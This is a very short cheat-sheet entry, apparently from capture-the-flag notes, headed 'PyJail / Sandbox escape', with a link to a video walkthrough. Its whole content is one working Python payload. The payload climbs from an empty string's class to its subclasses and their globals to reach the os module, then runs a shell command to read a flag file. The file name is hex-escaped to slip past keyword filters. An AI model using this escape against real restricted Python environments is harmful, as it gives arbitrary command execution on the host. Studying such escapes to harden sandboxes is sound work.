PyJail / Sandbox escape

`[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("cat \x46\x4c\x41\x47")`

Video walkthrough: https://youtu.be/-cc4U1H53F8?t=1871